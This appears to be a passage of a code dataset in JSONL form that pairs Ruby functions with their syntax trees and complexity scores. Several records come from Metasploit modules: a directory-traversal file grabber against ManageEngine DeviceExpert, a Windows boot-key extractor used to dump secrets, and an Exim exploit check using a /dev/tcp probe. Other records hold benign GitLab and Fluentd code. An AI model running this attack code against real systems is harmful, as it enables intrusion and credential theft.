php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"egypt\"]},{\"type\":\"str\",\"children\":[\"diaul <diaul[at]devilopers.org>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"BSD_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"5f3dd23e-17f2-4d51-a78e-db523a64e28b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb","start_line":371,"raw_source":"def process_response(ret_data)\n    # While style checks complain, I intend to leave this parsing\n    # in place for debugging purposes\n    ret_size_arr = ret_data[0, 4]\n    ret_size = ret_size_arr.unpack1(\"N\") # rubocop:disable Lint/UselessAssignment\n\n    msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment\n    comp_flag = ret_data[5, 1]\n\n    payload_data = ret_data[6..-1]\n    if comp_flag == \"\\x00\"\n      bin_data = payload_data.unpack1(\"H*\") # rubocop:disable Lint/UselessAssignment\n      payload_data = @inflater.inflate(payload_data)\n    end\n\n    return payload_data\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ret_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret_size_arr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret_data\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret_size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret_size_arr\"]},\"unpack1\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret_data\"]},\"[]\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comp_flag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret_data\"]},\"[]\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret_data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comp_flag\"]},\"==\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bin_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_data\"]},\"unpack1\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inflater\"]},\"inflate\",{\"type\":\"lvar\",\"children\":[\"payload_data\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_data\"]}]}]}]}","id":"b8f6cbde-fd09-4f3a-8ee4-d32ffb75deb2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/slash_commands.rb","start_line":44,"raw_source":"def valid_token?(token)\n        respond_to?(:token) &&\n          self.token.present? &&\n          ActiveSupport::SecurityUtils.secure_compare(token, self.token)\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_token?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"SecurityUtils\"]},\"secure_compare\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token\"]}]}]}]}","id":"5968eb60-2859-4347-b5d6-49f4679877b4"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_forward/handshake_protocol.rb","start_line":97,"raw_source":"def generate_ping(ri)\n        @log.debug('generating ping')\n        # ['PING', self_hostname, sharedkey\\_salt, sha512\\_hex(sharedkey\\_salt + self_hostname + nonce + shared_key),\n        #  username || '', sha512\\_hex(auth\\_salt + username + password) || '']\n        shared_key_hexdigest = Digest::SHA512.new.update(@shared_key_salt)\n          .update(@hostname)\n          .update(ri.shared_key_nonce)\n          .update(@shared_key)\n          .hexdigest\n        ping = ['PING', @hostname, @shared_key_salt, shared_key_hexdigest]\n        if !ri.auth.empty?\n          if @username.nil? || @password.nil?\n            raise PingpongError, \"username and password are required\"\n          end\n\n          password_hexdigest = Digest::SHA512.new.update(ri.auth).update(@username).update(@password).hexdigest\n          ping.push(@username, password_hexdigest)\n        else\n          ping.push('', '')\n        end\n        ping\n      end","complexity_score":38.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_ping\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log\"]},\"debug\",{\"type\":\"str\",\"children\":[\"generating ping\"]}]},{\"type\":\"lvasgn\",\"children\":[\"shared_key_hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA512\"]},\"new\"]},\"update\",{\"type\":\"ivar\",\"children\":[\"@shared_key_salt\"]}]},\"update\",{\"type\":\"ivar\",\"children\":[\"@hostname\"]}]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ri\"]},\"shared_key_nonce\"]}]},\"update\",{\"type\":\"ivar\",\"children\":[\"@shared_key\"]}]},\"hexdigest\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ping\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PING\"]},{\"type\":\"ivar\",\"children\":[\"@hostname\"]},{\"type\":\"ivar\",\"children\":[\"@shared_key_salt\"]},{\"type\":\"lvar\",\"children\":[\"shared_key_hexdigest\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ri\"]},\"auth\"]},\"empty?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@username\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@password\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"PingpongError\"]},{\"type\":\"str\",\"children\":[\"username and password are required\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"password_hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA512\"]},\"new\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ri\"]},\"auth\"]}]},\"update\",{\"type\":\"ivar\",\"children\":[\"@username\"]}]},\"update\",{\"type\":\"ivar\",\"children\":[\"@password\"]}]},\"hexdigest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ping\"]},\"push\",{\"type\":\"ivar\",\"children\":[\"@username\"]},{\"type\":\"lvar\",\"children\":[\"password_hexdigest\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ping\"]},\"push\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ping\"]}]}]}","id":"81924360-938f-4207-82ed-d841c5c04311"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb","start_line":49,"raw_source":"def run_host(ip)\n    traverse = \"..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\\"\n    filename = datastore['FILEPATH']\n\n    res = send_request_raw({\n      'uri' => \"/scheduleresult.de\",\n      'method' => 'GET'\n    }, 25)\n\n    if res && res.code != 200\n      print_error(\"Target is not ManageEngine DeviceExpert\")\n      return\n    end\n\n    res = send_request_raw({\n      'uri' => \"/scheduleresult.de/?FileName=#{traverse}#{filename}\",\n      'method' => 'GET'\n    }, 25)\n\n    if res\n      case res.code\n      when 200\n        print_status(\"#{ip}:#{rport} returns: #{res.code.to_s}\")\n      when 404\n        print_error(\"#{ip}:#{rport} - file not found\")\n        return\n      end\n    else\n      print_error(\"Unable to communicate with #{ip}:#{rport}\")\n      return\n    end\n\n    if res.body.empty?\n      print_error(\"#{ip}:#{rport} - no file downloaded (empty)\")\n    else\n      fname = File.basename(datastore['FILEPATH'])\n      path = store_loot(\n        'manageengine.http',\n        'application/octet-stream',\n        ip,\n        res.body,\n        fname\n      )\n\n      print_good(\"#{ip}:#{rport} - File saved in: #{path}\")\n    end\n  end","complexity_score":49.78,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"traverse\",{\"type\":\"str\",\"children\":[\"..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/scheduleresult.de\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Target is not ManageEngine DeviceExpert\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/scheduleresult.de/?FileName=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"traverse\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" returns: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_s\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[404]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - file not found\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to communicate with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - no file downloaded (empty)\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"manageengine.http\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - File saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}]}","id":"863f365a-683c-4243-9879-b9bba9fa4f69"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/windows_secrets_dump.rb","start_line":136,"raw_source":"def get_boot_key\n    print_status('Retrieving target system bootKey')\n    root_key_handle = @winreg.open_root_key('HKLM')\n\n    boot_key = ''.b\n    ['JD', 'Skew1', 'GBG', 'Data'].each do |key|\n      sub_key = \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\#{key}\"\n      vprint_status(\"Retrieving class info for #{sub_key}\")\n      subkey_handle = @winreg.open_key(root_key_handle, sub_key)\n      query_info_key_response = @winreg.query_info_key(subkey_handle)\n      boot_key << query_info_key_response.lp_class.to_s.encode(::Encoding::ASCII_8BIT)\n      @winreg.close_key(subkey_handle)\n      subkey_handle = nil\n    ensure\n      @winreg.close_key(subkey_handle) if subkey_handle\n    end\n    if boot_key.size != 32\n      vprint_error(\"bootKey must be 16-bytes long (hex string of 32 chars), got \\\"#{boot_key}\\\" (#{boot_key.size} chars)\")\n      return ''.b\n    end\n\n    transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]\n    boot_key = [boot_key].pack('H*')\n    boot_key = transforms.map { |i| boot_key[i] }.join\n    print_good(\"bootKey: 0x#{boot_key.unpack('H*')[0]}\") unless boot_key&.empty?\n    boot_key\n  ensure\n    @winreg.close_key(root_key_handle) if root_key_handle\n  end","complexity_score":57.05,"ast_json":"{\"type\":\"def\",\"children\":[\"get_boot_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Retrieving target system bootKey\"]}]},{\"type\":\"lvasgn\",\"children\":[\"root_key_handle\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@winreg\"]},\"open_root_key\",{\"type\":\"str\",\"children\":[\"HKLM\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"boot_key\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"b\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"JD\"]},{\"type\":\"str\",\"children\":[\"Skew1\"]},{\"type\":\"str\",\"children\":[\"GBG\"]},{\"type\":\"str\",\"children\":[\"Data\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sub_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrieving class info for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_key\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subkey_handle\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@winreg\"]},\"open_key\",{\"type\":\"lvar\",\"children\":[\"root_key_handle\"]},{\"type\":\"lvar\",\"children\":[\"sub_key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query_info_key_response\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@winreg\"]},\"query_info_key\",{\"type\":\"lvar\",\"children\":[\"subkey_handle\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boot_key\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_info_key_response\"]},\"lp_class\"]},\"to_s\"]},\"encode\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Encoding\"]},\"ASCII_8BIT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@winreg\"]},\"close_key\",{\"type\":\"lvar\",\"children\":[\"subkey_handle\"]}]},{\"type\":\"lvasgn\",\"children\":[\"subkey_handle\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subkey_handle\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@winreg\"]},\"close_key\",{\"type\":\"lvar\",\"children\":[\"subkey_handle\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boot_key\"]},\"size\"]},\"!=\",{\"type\":\"int\",\"children\":[32]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bootKey must be 16-bytes long (hex string of 32 chars), got \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boot_key\"]}]},{\"type\":\"str\",\"children\":[\"\\\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boot_key\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" chars)\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"b\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"transforms\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[11]},{\"type\":\"int\",\"children\":[9]},{\"type\":\"int\",\"children\":[13]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[14]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[7]}]}]},{\"type\":\"lvasgn\",\"children\":[\"boot_key\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boot_key\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"boot_key\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transforms\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boot_key\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},\"join\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boot_key\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bootKey: 0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boot_key\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"boot_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_key_handle\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@winreg\"]},\"close_key\",{\"type\":\"lvar\",\"children\":[\"root_key_handle\"]}]},null]}]}]}","id":"deacab9c-a845-436f-881f-6cd7e4141405"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb","start_line":195,"raw_source":"def check\n    if session.type == 'meterpreter'\n      begin\n        socket_subsystem, socket = open_tcp_connection\n      rescue StandardError\n        return CheckCode::Safe\n      end\n      res = socket.gets\n      socket.close\n      socket_subsystem.shutdown\n    else\n      unless command_exists?('/bin/bash')\n        return CheckCode::Safe('bash not found')\n      end\n\n      res = cmd_exec(\"/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && \"\\\n                     \"(read -u 3 && echo $REPLY) || echo false'\")\n      if res == 'false'\n        vprint_error(\"Couldn't connect to port #{datastore['EXIMPORT']}, \"\\\n                     'are you sure exim is listening on this port? (see EXIMPORT)')\n        return CheckCode::Safe\n      end\n    end\n\n    if res =~ /Exim ([0-9\\.]+)/i\n      version = Rex::Version.new(Regexp.last_match(1))\n      vprint_status(\"Found exim version: #{version}\")\n      if version >= target[:lower_version] && version <= target[:upper_version]\n        return CheckCode::Appears\n      else\n        return CheckCode::Safe\n      end\n    end\n\n    CheckCode::Unknown\n  end","complexity_score":49.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"socket_subsystem\"]},{\"type\":\"lvasgn\",\"children\":[\"socket\"]}]},{\"type\":\"send\",\"children\":[null,\"open_tcp_connection\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"gets\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket_subsystem\"]},\"shutdown\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"/bin/bash\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"bash not found\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/bash -c 'exec 3</dev/tcp/localhost/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXIMPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" && \"]}]},{\"type\":\"str\",\"children\":[\"(read -u 3 && echo $REPLY) || echo 